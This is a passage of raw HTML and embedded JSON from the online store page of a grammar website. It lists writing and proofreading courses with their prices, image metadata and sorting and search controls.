types.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003ESpecialization and Style Adaptability\u003C\/strong\u003E: Explore lucrative niches within proofreading and copyediting, like academic and podcast proofreading, and understand the use of different style guides to adapt to client-specific requests\u003C\/p\u003E\u003C\/li\u003E\u003C\/ul\u003E","in_stock":true,"active_prices":[{"id":"69ecfb00-5e39-409f-8f6a-b30840cbea57","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":49700,"archived":false,"currency":"usd","current_version":true,"full_amount":49700,"license_activation_limit":null,"name":"One Time","position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"2cc726c4-3298-4e78-8a61-dfc5d4be174d","renewal_price":null,"recurring_end_behavior":"complete","created_at":1735329156,"updated_at":1745408477,"display_amount":"$497","converted_amount":497,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"2cc726c4-3298-4e78-8a61-dfc5d4be174d"},{"id":"6a5c8177-ce47-44e0-a42e-7d34fadf3b6e","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":19900,"archived":false,"currency":"usd","current_version":true,"full_amount":59700,"license_activation_limit":null,"name":"Installment Plan","position":1,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":"month","recurring_interval_count":1,"recurring_period_count":3,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"2cc726c4-3298-4e78-8a61-dfc5d4be174d","renewal_price":null,"recurring_end_behavior":"complete","created_at":1745408412,"updated_at":1745408447,"display_amount":"$199","converted_amount":199,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"3 payments","interval_text":"every 1 month","short_interval_text":"\/ 1 mo","short_interval_count_text":" x 3","interval_count_text":"(3 payments)","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"2cc726c4-3298-4e78-8a61-dfc5d4be174d"}],"has_variants":false,"has_multiple_prices":true,"active_ad_hoc_prices":[],"has_options":true,"featured_image":{"ID":70564,"post_author":"305970","post_date":"2023-10-11 13:51:37","post_date_gmt":"2023-10-11 19:51:37","post_content":"","post_title":"image-19.png","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"image-19-png-2","to_ping":"","pinged":"","post_modified":"2023-10-11 13:51:37","post_modified_gmt":"2023-10-11 19:51:37","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":70564,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"69ecfb00-5e39-409f-8f6a-b30840cbea57","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":49700,"archived":false,"currency":"usd","current_version":true,"full_amount":49700,"license_activation_limit":null,"name":"One Time","position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"2cc726c4-3298-4e78-8a61-dfc5d4be174d","renew
1248al_price":null,"recurring_end_behavior":"complete","created_at":1735329156,"updated_at":1745408477,"display_amount":"$497","converted_amount":497,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"initial_variant":null,"initial_amount":49700,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":70564,"post_author":"305970","post_date":"2023-10-11 13:51:37","post_date_gmt":"2023-10-11 19:51:37","post_content":"","post_title":"image-19.png","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"image-19-png-2","to_ping":"","pinged":"","post_modified":"2023-10-11 13:51:37","post_modified_gmt":"2023-10-11 19:51:37","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":70564,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1.png"}],"display_amount":"$497","range_display_amount":"$199 - $497","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-100x100.png 100w","sizes":"(max-width: 150px) 100vw, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/image-19-1.png 1820w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 4:39 am","has_videos":false,"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":"","created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 4:39 am","updated_at_date":"May 10, 2026","updated_at_date_time":"May 10, 2026 12:36 am","has_variable_components":false,"bundle_variable_component_ids":[],"gallery_ids":[70564]},{"id":"9f3827a3-0d30-4175-8c5a-a37fff463763","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":0,"average_stars":"0.0","description":null,"featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":null,"metrics":{"currency":"usd","max_price_amount":24900,"min_price_amount":24900,"prices_count":1},"name":"Grammarist Freelance Writer\u0027s Roadmap","recurring":false,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"freelance-writer-s-roadmap","solicit_reviews":true,"stock_enabled":false,"prices":{"object":"list","pagination":{"count":2,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=9f3827a3-0d30-4175-8c5a-a37fff463763"},"data":[{"id":"80644a51-d26d-484b-a2eb-5321d3ee185e","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":15700,"archived":true,"currency":"usd","current_version":true,"full_amount":15700,"license_activation_limit":null,"name":"Promo","position":1,"portal_subscription_update_enabled":false,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":24900,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"9f3827a3-0d30-4175-8c5a-a37fff463763","renewal_price":null,"recurring_end_behavior":"complete","created_at":1742580867,"updated_at":1742582147,"display_amount":"$157","converted_amount":157,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"$249","is_on_sale":true,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"9f3827a3-0d30-4175-8c5a-a37fff463763"},{"id":"fafe621d-230e-4be9-a98e-f5d215ce9309","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":24900,"archived":false,"currency":"usd","current_version":true,"full_amount":24900,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"9f3827a3-0d30-4175-8c5a-a37fff463763","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734427802,"updated_at":1734427802,"display_amount":"$249","converted_amount":249,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"9f3827a3-0d30-4175-8c5a-a37fff463763"}]},"product_group":null,"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=9f3827a3-0d30-4175-8c5a-a37fff463763"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=9f3827a3-0d30-4175-8c5a-a37fff463763"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=9f3827a3-0d30-4175-8c5a-a37fff463763"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=9f3827a3-0d30-4175-8c5a-a37fff463763"},"data":[]},"image_url":null,"created_at":1734427720,"updated_at":1764105463,"post":{"ID":108527,"post_author":"305970","post_date":"2024-12-17 03:28:40","post_date_gmt":"2024-12-17 09:28:40","post_content":"","post_title":"Grammarist Freelance Writer\u0027s Roadmap","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"freelance-writer-s-roadmap","to_ping":"","pinged":"","post_modified":"2025-11-25 15:18:01","post_modified_gmt":"2025-11-25 21:18:01","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u
12480026#038;p=108527","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":false,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/freelance-writer-s-roadmap","permalink":"https:\/\/grammarist.com\/products\/freelance-writer-s-roadmap\/","is_published":true,"page_title":"Grammarist Freelance Writer\u0027s Roadmap","meta_description":"","in_stock":true,"active_prices":[{"id":"fafe621d-230e-4be9-a98e-f5d215ce9309","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":24900,"archived":false,"currency":"usd","current_version":true,"full_amount":24900,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"9f3827a3-0d30-4175-8c5a-a37fff463763","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734427802,"updated_at":1734427802,"display_amount":"$249","converted_amount":249,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"9f3827a3-0d30-4175-8c5a-a37fff463763"}],"has_variants":false,"has_multiple_prices":false,"active_ad_hoc_prices":[],"has_options":false,"featured_image":{"ID":93885,"post_author":"307033","post_date":"2024-03-12 18:34:15","post_date_gmt":"2024-03-13 00:34:15","post_content":"","post_title":"FWC - Freelance Writing Course","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"fwc-freelance-writing-course","to_ping":"","pinged":"","post_modified":"2024-03-12 18:34:15","post_modified_gmt":"2024-03-13 00:34:15","post_content_filtered":"","post_parent":93483,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":93885,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"fafe621d-230e-4be9-a98e-f5d215ce9309","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":24900,"archived":false,"currency":"usd","current_version":true,"full_amount":24900,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"9f3827a3-0d30-4175-8c5a-a37fff463763","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734427802,"updated_at":1734427802,"display_amount":"$249","converted_amount":249,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"9f3827a3-0d30-4175-8c5a-a37fff463763"},"initial_variant":null,"initial_amount":24900,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":93885,"post_author":"307033","post_date":"2024-03-12 18:34:15","post_date_gmt":"2024-03-13 00:34:15","post_content":"","post_title":"FWC - Freelance Writing Course","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"fwc-freelance-writing-course","to_ping":"","pinged":"","post_modified":"2024-03-12 18:34:15","post_modified_gmt":"2024-03-13 00:34:15","post_content_filtered":"","post_parent":93483,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":93885,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course.png"}],"display_amount":"$249","range_display_amount":"$249","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-100x100.png 100w","sizes":"(max-width: 150px) 100v
1248w, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-2048x1152.png 2048w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-600x338.png 600w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 3:28 am","has_videos":false,"created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 3:28 am","updated_at_date":"November 25, 2025","updated_at_date_time":"November 25, 2025 3:17 pm","has_variable_components":false,"bundle_variable_component_ids":[],"gallery_ids":[93885],"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":""}]}' data-wp-interactive='{ "namespace": "surecart/product-list" }' 1249 data-wp-router-region="products-0" 1250 data-wp-watch="callbacks.onChangeProducts" 1251> 1252 1253 1254<div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-57435d76 wp-block-group-is-layout-flex" style="margin-bottom:10px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0"> 1255<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-e1019195 wp-block-group-is-layout-flex" style="margin-top:0px;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0"><div 1256 class="sc-dropdown wp-block-surecart-product-list-sort" data-wp-context='{"isMenuOpen":false,"index":0}' data-wp-interactive='{ "namespace": "surecart/dropdown" }' 1257 data-wp-on-window--click="surecart/dropdown::callbacks.maybeCloseMenu" 1258 data-wp-on-window--focusin="surecart/dropdown::callbacks.maybeCloseMenu" 1259 data-wp-on-window--keydown="surecart/dropdown::callbacks.maybeCloseMenu" 1260 data-wp-bind--aria-activedescendant="context.activeMenuItemId" 1261 data-wp-on--keyup="surecart/dropdown::actions.menuKeyUp" 1262 data-wp-on--keydown="surecart/dropdown::actions.menuKeyDown" 1263 role="menu" 1264 tabindex="-1" 1265 data-wp-bind--aria-labelledby="context.activeMenuItemId" 1266 aria-description="Press the arrow keys then enter to make a selection." 1267> 1268 <div 1269 class="sc-dropdown__trigger sc-button sc-button--standard sc-button--medium sc-button--caret sc-button--has-label sc-button--text" 1270 data-wp-on--click="surecart/dropdown::actions.toggleMenu" 1271 role="button" 1272 tabindex="0" 1273 aria-label=" 1274 Order By: Latest " 1275 > 1276 <span class="sc-button__label"> 1277 Latest </span> 1278 <span class="sc-button__caret"> 1279 <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> 1280 <polyline points="6 9 12 15 18 9" /> 1281</svg> 1282 </span> 1283 </div> 1284 1285 <div aria-hidden="true" 1286 class="sc-dropdown__panel" 1287 data-wp-bind--hidden="!context.isMenuOpen" 1288 data-wp-bind--aria-hidden="!context.isMenuOpen" 1289 hidden 1290 > 1291 <a 1292 role="menuitem" 1293 tabindex="-1" 1294 class="sc-dropdown__menu-item" 1295 id="sc-menu-item-1" 1296 href="/store/?products-order=desc&products-orderby=date" 1297 data-wp-on--click="surecart/product-list::actions.navigate" 1298 data-wp-on--mouseenter="surecart/product-list::actions.prefetch" 1299 data-wp-class--sc-focused="surecart/dropdown::state.isMenuItemFocused" 1300 > 1301 <span class="sc-dropdown__menu-item__label"> 1302 Latest </span> 1303 <span class="sc-menu-item__check"> 1304 <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> 1305 <polyline points="20 6 9 17 4 12" /> 1306</svg> 1307 </span> 1308 </a> 1309 <a 1310 role="menuitem" 1311 tabindex="-1" 1312 class="sc-dropdown__menu-item" 1313 id="sc-menu-item-2" 1314 href="/store/?products-order=asc&products-orderby=date" 1315 data-wp-on--click="surecart/product-list::actions.navigate" 1316 data-wp-on--mouseenter="surecart/product-list::actions.prefetch" 1317 data-wp-class--sc-focused="surecart/dropdown::state.isMenuItemFocused" 1318 > 1319 <span class="sc-dropdown__menu-item__label"> 1320 Oldest </span> 1321 </a> 1322 <a 1323 role="menuitem" 1324 tabindex="-1" 1325 class="sc-dropdown__menu-item" 1326 id="sc-menu-item-3" 1327 href="/store/?products-order=asc&products-orderby=title" 1328 data-wp-on--click="surecart/product-list::actions.navigate" 1329 data-wp-on--mouseenter="surecart/product-list::actions.prefetch" 1330 data-wp-class--sc-focused="surecart/dropdown::state.isMenuItemFocused" 1331 > 1332 <span class="sc-dropdown__menu-item__label">
1333 Alphabetical, A-Z </span> 1334 </a> 1335 <a 1336 role="menuitem" 1337 tabindex="-1" 1338 class="sc-dropdown__menu-item" 1339 id="sc-menu-item-4" 1340 href="/store/?products-order=desc&products-orderby=title" 1341 data-wp-on--click="surecart/product-list::actions.navigate" 1342 data-wp-on--mouseenter="surecart/product-list::actions.prefetch" 1343 data-wp-class--sc-focused="surecart/dropdown::state.isMenuItemFocused" 1344 > 1345 <span class="sc-dropdown__menu-item__label"> 1346 Alphabetical, Z-A </span> 1347 </a> 1348 <a 1349 role="menuitem" 1350 tabindex="-1" 1351 class="sc-dropdown__menu-item" 1352 id="sc-menu-item-5" 1353 href="/store/?products-order=asc&products-orderby=price" 1354 data-wp-on--click="surecart/product-list::actions.navigate" 1355 data-wp-on--mouseenter="surecart/product-list::actions.prefetch" 1356 data-wp-class--sc-focused="surecart/dropdown::state.isMenuItemFocused" 1357 > 1358 <span class="sc-dropdown__menu-item__label"> 1359 Price, low to high </span> 1360 </a> 1361 <a 1362 role="menuitem" 1363 tabindex="-1" 1364 class="sc-dropdown__menu-item" 1365 id="sc-menu-item-6" 1366 href="/store/?products-order=desc&products-orderby=price" 1367 data-wp-on--click="surecart/product-list::actions.navigate" 1368 data-wp-on--mouseenter="surecart/product-list::actions.prefetch" 1369 data-wp-class--sc-focused="surecart/dropdown::state.isMenuItemFocused" 1370 > 1371 <span class="sc-dropdown__menu-item__label"> 1372 Price, high to low </span> 1373 </a> 1374 </div> 1375</div> 1376 1377 1378 1379</div> 1380 1381 1382<div 1383 class="sc-input-group sc-input-group-sm wp-block-surecart-product-list-search wp-container-content-e0b89f81" data-wp-interactive='{ "namespace": "surecart/product-list" }' 1384> 1385 <span class="sc-input-group-text"> 1386 <svg class="sc-icon" xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> 1387 <circle cx="11" cy="11" r="8" /> 1388 <line x1="21" y1="21" x2="16.65" y2="16.65" /> 1389</svg> 1390 </span> 1391 1392 <input 1393 class="sc-form-control" 1394 type="search" 1395 data-wp-on--input="actions.onSearchInput" 1396 placeholder="Search" 1397 value="" 1398 > 1399 1400 1401 <span class="sc-input-group-text" data-wp-bind--hidden="!state.searching" hidden> 1402 <span class="sc-spinner" aria-hidden="true"></span> 1403 </span> 1404</div> 1405</div> 1406 1407 1408 1409<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-2194deb0 wp-block-group-is-layout-flex" style="margin-bottom:10px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0"><div 1410class="is-empty wp-block-surecart-product-list-filter-tags is-layout-flex wp-container-surecart-product-list-filter-tags-is-layout-28737005 wp-block-surecart-product-list-filter-tags-is-layout-flex" aria-hidden="true"> 1411 1412<div 1413 class="wp-block-surecart-product-list-filter-tags-template is-layout-flex wp-block-surecart-product-list-filter-tags-template-is-layout-flex" role="list" aria-describedby="filter-tags-label-0" data-wp-context='{"collections":[]}'> 1414</div> 1415 1416</div> 1417</div> 1418 1419 1420 1421<ul class="sc-product-template-columns-3 wp-block-surecart-product-template is-layout-grid wp-container-surecart-product-template-is-layout-ebc7a09b wp-block-surecart-product-template-is-layout-grid"> 1422 1423 <li class="sc-product-item sc-has-animation-fade-up" data-wp-key="post-template-item-108539"> 1424 <form 1425 data-wp-interactive='{ "namespace": "surecart/product-page" }' 1426 data-wp-on--submit="callbacks.handleSubmit" 1427 data-wp-init="callbacks.init" 1428 data-wp-context='{"formId":108516,"mode":"live","checkoutUrl":"https:\/\/grammarist.com\/checkout\/","urlPrefix":"","updateUrl":false,"product":{"id":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91","archived":false,"available_stock":-1,"name":"Grammarist English-Proficiency Exercise Vault","permalink":"https:\/\/grammarist.com\/products\/grammarist-pdf-vault\/","has_unlimited_stock":true,"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-768x419.png","class":"attachment-medium_large size-medium_large","alt":"Grammarist-Mockups-Tripwire-page---darker-1-","width":768,"height":419,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-768x419.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-300x164.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-1024x559.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-600x327.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png 1100w","sizes":"(max-width: 768px) 100vw, 768px"}}
1428,"selectedPrice":{"id":"e9c8c210-ceb6-4352-9cb9-0edde36dbbae","ad_hoc":false,"amount":9000,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$90","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"},"prices":[{"id":"e9c8c210-ceb6-4352-9cb9-0edde36dbbae","ad_hoc":false,"amount":9000,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$90","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","setup_fee_text":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"}],"variants":[],"quantity":1,"busy":false,"adHocAmount":0,"variantValues":[],"text":"Add to Cart","outOfStockText":"Sold Out","unavailableText":"Unavailable For Purchase","selectComponentOptionsText":"Select options","note":"","noteLabel":"","bundleComponentVariants":{},"bundleVariableComponentIds":[],"bundleComponents":{}}' > 1429 <a class="sc-product-item-link" href="https://grammarist.com/products/grammarist-pdf-vault/"> 1430 1431 1432<div class="wp-block-group has-base-2-background-color has-background is-layout-grid wp-container-core-group-is-layout-b102d036 wp-block-group-is-layout-grid" style="border-radius:10px;padding-top:15px;padding-right:15px;padding-bottom:15px;padding-left:15px"> 1433<div class="wp-block-group has-small-font-size wp-container-content-5dc44c30" style="border-radius:10px;min-height:600px;margin-bottom:-300px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px"><div class="wp-block-group__inner-container is-layout-constrained wp-container-core-group-is-layout-c603440f wp-block-group-is-layout-constrained"> 1434<div class="wp-block-cover is-light has-custom-content-position is-position-top-right has-aspect-ratio" style="border-radius:10px;margin-top:0;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;aspect-ratio:4/3;height:unset;min-height:unset;"><span aria-hidden="true" class="wp-block-cover__background has-background-dim-0 has-background-dim"></span><img decoding="async" width="1024" height="559" src="https://grammarist.com/wp-content/uploads/Grammarist-Mockups-Tripwire-page-darker-1-1-2-1024x559.png" class="wp-block-cover__image-background wp-post-image" alt="Grammarist-Mockups-Tripwire-page---darker-1-" data-object-fit="cover" 